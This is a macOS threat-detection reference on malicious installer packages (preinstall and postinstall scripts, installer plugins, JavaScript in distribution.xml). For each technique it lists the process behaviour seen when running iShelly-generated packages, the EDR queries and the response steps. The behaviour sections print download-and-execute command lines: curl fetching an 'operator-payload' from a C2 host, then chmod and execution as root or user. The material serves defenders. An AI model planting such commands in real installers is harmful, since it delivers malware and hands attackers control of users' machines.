.. / Installers

Star

• Execution

On macOS, malware is often distributed to users via macOS Installers. Since these are generally going to be extremely noisy in most environments, these are only recommended for threat hunting, baselining or to trigger some automated action to collect more information from the endpoint.

• https://github.com/AutomoxSecurity/iShelly

Execution

1. macOS Installer Package with preinstall Script

This query detects any instance of macOS installers running a preinstall script.

Adversaries may pair this technique with a social engineering component to execute malware.


OS Behavior:
1. When executing the pkg file generated via iShelly, launchd runs Installer as user.
2. After the user clicks through Installer prompts and authenticates, launchd runs package_script_service as root.
3. package_script_service runs bash (or whatever script interpreter is used in the installer) as root with a cmdline similar to

   /bin/bash /tmp/PKInstallSandbox.YxqP12/Scripts/com.simple.test.ir2Zsb/preinstall /Users/user/iShelly/Payloads/install_pkg.pkg / / / 

4. The bash process launches cp as root with the following cmdline

   cp files/operator-payload /Library/Application Support/ "

   chmod is also executed by the same bash process to make it executable using cmdline

   chmod +x /Library/Application Support/operator-payload 

5. the same bash process executes nohup -> bash as root with cmdline

   nohup bash -c /Library/Application\\ Support/operator-payload -name installer-w-preinstall-script

6. operator-payload executes as root using cmdline

   /Library/Application Support/operator-payload -name installer-w-preinstall-script

   and makes a network connection to operator.
Execute:
• Prelude Operator: Run iShelly with the "Installer Package w/ only preinstall script" Installer Package option. Then execute the pkg file, which will execute an Operator agent after clicking through Installer prompts.
Detect:
• EDR:

  parent_process_name = "package_script_service" and process_cmdline = "*preinstall*"

• Alerting on this will be extremely noisy and is not recommended. If using for baselining, exclude based on the pkg name in process_cmdline, but beware an attacker can also leverage this by naming their package after a popular installer.
Respond:
1. Review the process_cmdline field of process package_script_service. This will contain the execution of the preinstall script and will have the name of the .pkg being executed.
2. Review the children of process package_script_service (often this will be the bash process, but could be another script interpreter). These children will be the commands executed as a result of the preinstall script.
3. Review process creations, network connections and file writes of all children processes of package_script_service.
Privileges required: Root
MITRE ATT&CK®: T1204.002




2. macOS Installer Package with postinstall Script

This query detects any instance of macOS installers running a postinstall script.

Adversaries may pair this technique with a social engineering component to execute malware.


OS Behavior:
1. When executing the pkg file generated via iShelly, launchd runs Installer as user.
2. After the user clicks through Installer prompts and authenticates, launchd runs package_script_service as root.
3. package_script_service runs bash (or whatever script interpreter is used in the installer) as root with a cmdline similar to

   /bin/bash /tmp/PKInstallSandbox.YxqP12/Scripts/com.simple.test.ir2Zsb/postinstall /Users/user/iShelly/Payloads/install_pkg.pkg / / / 

4. The bash process launches cp as root with the following cmdline

   cp files/operator-payload /Library/Application Support/ "

   chmod is also executed by the same bash process to make it executable using cmdline

   chmod +x /Library/Application Support/operator-payload 

5. the same bash process executes nohup, which executes bash as root with cmdline

   nohup bash -c /Library/Application\\ Support/operator-payload -name installer-w-postinstall-script

6. operator-payload executes as root using cmdline

   /Library/Application Support/operator-payload -name installer-w-postinstall-script

   and makes a network connection to operator.
Execute:
• Prelude Operator: Run iShelly with the "Installer Package w/ only postinstall script" Installer Package option. Then execute the pkg file, which will execute an Operator agent after clicking through Installer prompts.
Detect:
• EDR:

  parent_process_name = "package_script_service" and process_cmdline = "*postinstall*"

• Alerting on this will be extremely noisy and is not recommended. If using for baselining, exclude based on the pkg name in process_cmdline, but beware an attacker can also leverage this by naming their package after a popular installer.
Respond:
1. Review the process_cmdline field of process package_script_service. This will contain the execution of the postinstall script and will have the name of the .pkg being executed.
2. Review the children of process package_script_service (often this will be the bash process, but could be another script interpreter). These children will be the commands executed as a result of the postinstall script.
3. Review process creations, network connections and file writes of all children processes of package_script_service.
Privileges required: Root
MITRE ATT&CK®: T1204.002




3. macOS Installer Plugins

This query detects any macOS Installer that leverages an installer plugins.

Adversaries may pair this technique with a social engineering component to execute malware. They may use this technique to generate less known EDR behavioral patterns or when they need malware running as user.


OS Behavior:
1. When executing the pkg file generated via iShelly, launchd runs Installer as user.
2. Installer prompts the user with subject "This package will run a program to determine if the software can be installed".
3. xpcproxy magic happens, and launchd executes InstallerRemotePluginService-x86_64 as user.
4. InstallerRemotePluginService-x86_64 then launches the script interpreter as a user. In our case this will be bash (since this is how iShelly implements this vector). The cmdline is

   /bin/bash -c /usr/bin/curl -k 'http://127.0.0.1:3391/payloads/d2526ae26fc2139263f57c2af445004e385772ec/operator-payload' -o /Users/$USER/Library/Application\\ Support/operator-payload; chmod +x /Users/$USER/Library/Application\\ Support/operator-payload; /Users/$USER/Library/Application\\ Support/operator-payload -name installer-plugin & 

5. as a result of the above bash one liner, bash executes the following children processes- curl, chmod. curl makes a network connection to Operator and writes payload to /Users/$USER/Library/Application\ Support/operator-payload. chmod makes the payload executable.
6. The same bash process executes operator-payload.
7. operator-payload makes a network connection to operator.
Execute:
• Prelude Operator: Run iShelly with the "Installer Package w/ Installer Plugin" Installer Package option.
Detect:

• EDR:

  process_name = "InstallerRemotePluginService-x86_64"

Respond:
1. Review the children of process InstallerRemotePluginService-x86_64.
2. Review process creations, network connections and file writes of all children processes of InstallerRemotePluginService-x86_64.
Privileges required: User
MITRE ATT&CK®: T1204.002




4. macOS Installer Package with JavaScript Functionality

This query detects installer packages leveraging JavaScript functionality via distribution.xml files. The malicious commands can either be in distrubtion.xml file, or the distribution.xml file invoke a script included in the installer. You should test both cases by generating the payloads using iShelly.

Adversaries may pair this technique with a social engineering component to execute malware. They may use this technique to generate less known EDR behavioral patterns or when they need malware running as user.


OS Behavior:

1. When executing the pkg file generated via iShelly, launchd runs Installer as user.
2. Installer prompts the user with subject "This package will run a program to determine if the software can be installed".
3. Installer launches bash process with cmdline

   /bin/bash -c /usr/bin/curl -k 'http://127.0.0.1:3391/payloads/d2526ae26fc2139263f57c2af445004e385772ec/operator-payload' -o /Users/$USER/Library/Application\\ Support/operator-payload 

4. bash launches curl which makes a network connection to Operator and writes payload to /Users/anadrowski/Library/Application Support/operator-payload.
5. The same Installer process launches a new bash process to make the payload executable with the following cmdline

   /bin/bash -c chmod +x /Users/$USER/Library/Application\\ Support/operator-payload 

6. Thhe same Installer process launches a new bash process to execute the payload with the following cmdline

   /bin/bash -c /Users/$USER/Library/Application\\ Support/operator-payload -name installer-js-embedded & 

7. If testing the script functionality of this vector, the previous step will instead contain the following cmdline

   /bin/bash -c /Users/$USER/Library/Application\\ Support/operator-payload -name installer-js-script & 

Execute:
• Prelude Operator: Run iShelly with either the "Installer Package w/ JavaScript Functionality embedded" or "Installer Package w/ JavaScript Functionality in Script" Installer Package option. The embedded option contains the malicious code within the distribution.xml, while the script option contains malicious code in a script file, which is contained
Detect:

• EDR:

  parent_process_name = "Installer" AND NOT (process_name = "installd" OR process_name = "InstallerRemotePluginService-x86_64" OR process_name= "MTLCompilerService" OR process_name = "package_script_service")

Respond:
1. Review the children of process Installer.
2. Review process creations, network connections and file writes of all children processes of Installer.
Privileges required: User
MITRE ATT&CK®: T1204.002